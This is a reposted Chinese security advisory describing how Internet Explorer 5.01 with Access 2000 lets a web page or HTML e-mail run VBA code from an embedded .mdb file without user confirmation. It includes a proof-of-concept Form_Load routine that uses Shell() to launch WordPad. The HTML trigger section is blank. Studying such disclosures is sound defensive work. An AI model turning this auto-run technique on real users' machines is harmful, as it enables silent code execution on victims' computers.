微软 IE5.01 和 Access 2000 可使用户执行恶意 VBA 代码 (APP,缺陷) (转)-ASP技术-3P代码网
繁体中文
设为首页
加入收藏
当前位置:ASP技术首页 >> ASP基础 >> 微软 IE5.01 和 Access 2000 可使用户执行恶意 VBA 代码 (APP,缺陷) (转)

微软 IE5.01 和 Access 2000 可使用户执行恶意 VBA 代码 (APP,缺陷) (转)

2006-06-15 08:00:00  作者:  来源:互联网  浏览次数:0  文字大小:【】【】【
简介:微软 IE5.01 和 Access 2000 可使用户执行恶意 VBA 代码 (APP,缺陷) 涉及程序: Microsoft Internet Explorer 5.01、Microsoft Access 2000 描述: 微软 IE5.01 和 Access 2000 可使用户执行恶意 VBA 代码 详细:...

微软 IE5.01 和 Access 2000 可使用户执行恶意 VBA 代码 (APP,缺陷)

涉及程序:

Microsoft Internet Explorer 5.01、Microsoft Access 2000

描述:

微软 IE5.01 和 Access 2000 可使用户执行恶意 VBA 代码

详细:

受影响的系统:

Microsoft Access 2000

+ Microsoft office 2000

- Microsoft Windows 98

- Microsoft Windows 95

- Microsoft Windows NT 4.0

- Microsoft Windows NT 2000

Microsoft Internet Explorer 5.01

+ Microsoft Windows 98

+ Microsoft Windows 95

+ Microsoft Windows NT 4.0

+ Microsoft Windows NT 2000

如果用户使用 IE 5.01 和 Access 2000,有可能被服务器远程执行 Visual Basic for Applications (VBA) 代码。通过 WWW 页面或使用了 IFRAME 的 HTML 格式的邮件,可以在远程浏览者的计算机上执行 VBA 代码,而无需用户确认。创建包含VBA代码的 *.mdb 文件,其中的 shell() 调用足以执行客户方任意已知的可执行文件。接下来,在 HTML 页面中通过 object tag 引用这些恶意的 *.mdb 文件,当浏览器加载这页面的时候,VBA代码将被执行。

以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负

-----------access.HTML----------------------------

-----------in Form1 of db3.mdb---------------------

Private Sub Form_Load()

On Error GoTo Err_Command0_Click

Dim stAppName As String

stAppName = "C:\Program Files\Accessories\wordpad.exe"

MsgBox ("Trying to start: " & stAppName)

Call Shell(stAppName, 1)

Exit_Command0_Click:

Exit Sub

Err_Command0_Click:

MsgBox Err.Description

Resume Exit_Command0_Click

End Sub

---------------------------------------------------

---------------------------------------------------

---------------------------------------------------

责任编辑:admin
相关文章